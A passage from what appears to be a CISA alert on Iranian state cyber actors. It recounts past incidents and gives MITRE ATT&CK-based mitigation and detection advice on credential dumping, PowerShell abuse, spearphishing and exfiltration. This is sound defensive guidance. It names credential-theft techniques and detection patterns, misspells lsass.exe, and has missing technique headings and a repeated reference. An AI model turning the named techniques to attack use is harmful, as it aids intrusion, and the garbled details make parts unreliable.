- August/September 2013 – Unauthorized Access to Dam in New York State: In response, in March 2016, the U.S. Department of Justice indicted one Iranian actor employed by a company performing work on behalf of the IRGC for illegally accessing the supervisory control and data acquisition (SCADA) systems of the Bowman Dam in Rye, New York. The access allowed the actor to obtain information regarding the status and operation of the dam. [2]
- February 2014 – Sands Las Vegas Corporation Hacked: Cyber threat actors hacked into the Sands Las Vegas Corporation in Las Vegas, Nevada, and stole customer data, including credit card data, Social Security Numbers, and driver’s license numbers. According to a Bloomberg article from December 2014, the attack also involved a destructive portion, in which the Sands Las Vegas Corporation’s computer systems were wiped. In September 2015, the U.S. Director of National Intelligence identified the Iranian government as the perpetrator of the attack in a Statement for the Record to the House Permanent Select Committee on Intelligence. [3]
- 2013 to 2017 – Cyber Theft Campaign on Behalf of IRGC: In response, in March 2018, the U.S. Justice Department indicted nine Iranian actors associated with the Mabna Institute for conducting a massive cyber theft campaign containing dozens of individual incidents, including “many on behalf of the IRGC.” The thefts targeted academic and intellectual property data as well as email account credentials. According to the indictment, the campaign targeted “144 U.S. universities, 176 universities across 21 foreign countries, 47 domestic and foreign private sector companies, the U.S. Department of Labor, the Federal Energy Regulatory Commission, the State of Hawaii, the State of Indiana, the United Nations, and the United Nations Children’s Fund.” [4]
The following is a composite of actionable technical recommendations for IT professionals and providers to reduce their overall vulnerability. These recommendations are not exhaustive; rather they focus on the actions that will likely have the highest return on investment. In general, CISA recommends two courses of action in the face of potential threat from Iranian actors: 1) vulnerability mitigation and 2) incident preparation.
- Disable all unnecessary ports and protocols. Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for command and control activity.
- Enhance monitoring of network and email traffic. Review network signatures and indicators for focused operations activities, monitor for new phishing themes and adjust email rules accordingly, and follow best practices of restricting attachments via email or other mechanisms.
- Patch externally facing equipment. Focus on patching critical and high vulnerabilities that allow for remote code execution or denial of service on externally facing equipment.
- Log and limit usage of PowerShell. Limit the usage of PowerShell to only users and accounts that need it, enable code signing of PowerShell scripts, and enable logging of all PowerShell commands.
- Ensure backups are up to date and stored in an easily retrievable location that is air-gapped from the organizational network.
The following mitigations and detection recommendations regarding publicly known Iranian advanced persistent threat (APT) techniques are based on the MITRE ATT&CK Framework. [5]
Iranian APT Technique Mitigation and Detection Credential DumpingMitigation
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Manage the access control list for "Replicating Directory Changes" and other permissions associated with domain controller replication.
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Consider disabling or restricting NTLM.
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Ensure that local administrator accounts have complex, unique passwords across all systems on the network.
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Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.
Detection
- Windows: Monitor for unexpected processes interacting with Isass.exe.
- Linux: The AuditD monitoring tool can be used to watch for hostile processes opening a maps file in the proc file system, alerting on the pid, process name, and arguments for such programs.
Mitigation
- Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted.
Detection
- Windows: Monitor for unexpected processes interacting with Isass.exe.
- Linux: The AuditD monitoring tool can be used to watch for hostile processes opening a maps file in the proc file system, alerting on the pid, process name, and arguments for such programs.
Mitigation
- Network intrusion prevention or data loss prevention tools may be set to block specific file types from leaving the network over unencrypted channels.
Detection
- Process monitoring and monitoring for command-line arguments for known compression utilities.
- If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.
Mitigation
- Set PowerShell execution policy to execute only signed scripts.
- Remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.
- Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.
- Restrict PowerShell execution policy to administrators.
Detection
- If PowerShell is not used in an environment, looking for PowerShell execution may detect malicious activity.
- Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System. Management.Automation.dll (especially to unusual process names/locations).
- Turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations).
Mitigation
- Application whitelisting may be able to prevent the running of executables masquerading as other files.
- If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity.
- Block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr., .exe, .pif, .cpl, etc.
- Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.
Detection
- Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files that can be used to Deobfuscate/Decode Files or Information in payloads.
- Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer.
- Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.
Mitigation
- Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. Other types of virtualization and application microsegmentation may also mitigate the impact of compromise.
- Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.
Detection
- Examine scripting user restrictions. Evaluate any attempts to enable scripts running on a system that would be considered suspicious.
- Scripts should be captured from the file system when possible to determine their actions and intent.
- Monitor processes and command-line arguments for script execution and subsequent behavior.
- Analyze Office file attachments for potentially malicious macros.
- Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity.
Mitigation
- This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Detection
- Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc.
- Monitor the start folder for additions or changes.
- Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders.
- To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Mitigation
- Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level.
Detection
- Monitor for file creation and files transferred within a network over SMB.
- Monitor use of utilities, such as FTP, that does not normally occur.
- Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server).
- Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.
Mitigation
- Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.
- Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.
Detection
- URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites.
- Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.
Mitigation
- Anti-virus can automatically quarantine suspicious files.
- Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.
- Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc.
- Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in Obfuscated Files or Information.
- Users can be trained to identify social engineering techniques and spearphishing emails.
Detection
- Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit.
- Detonation chambers may also be used to identify malicious attachments.
- Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.
- Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer.
CISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at
- 1-888-282-0870 (From outside the United States: +1-703-235-8832)
- CISAServiceDesk@cisa.dhs.gov (UNCLASS)
- us-cert@dhs.sgov.gov (SIPRNET)
- us-cert@dhs.ic.gov (JWICS)
CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA homepage at http://www.us-cert.gov/.
References- [1] Department of Justice press release: Seven Iranians Working for Islamic Revolutionary Guard Corps-Affiliated Entities Charged for Conducting Coordinated Campaign of Cyber Attacks Against U.S. Financial Sector
- [2] Department of Justice press release: Seven Iranians Working for Islamic Revolutionary Guard Corps-Affiliated Entities Charged for Conducting Coordinated Campaign of Cyber Attacks Against U.S. Financial Sector
- [3] Bloomberg article: Now at the Sands Casino: An Iranian Hacker in Every Server
- [4] Department of Justice press release: Nine Iranians Charged With Conducting Massive Cyber Theft Campaign on Behalf of the Islamic Revolutionary Guard Corps
- [5] MITRE ATT&CK Framework
- CISA Insights: Increased Geopolitical Tensions and Threats
- January 6, 2019: Initial version
This product is provided subject to this Notification and this Privacy & Use policy.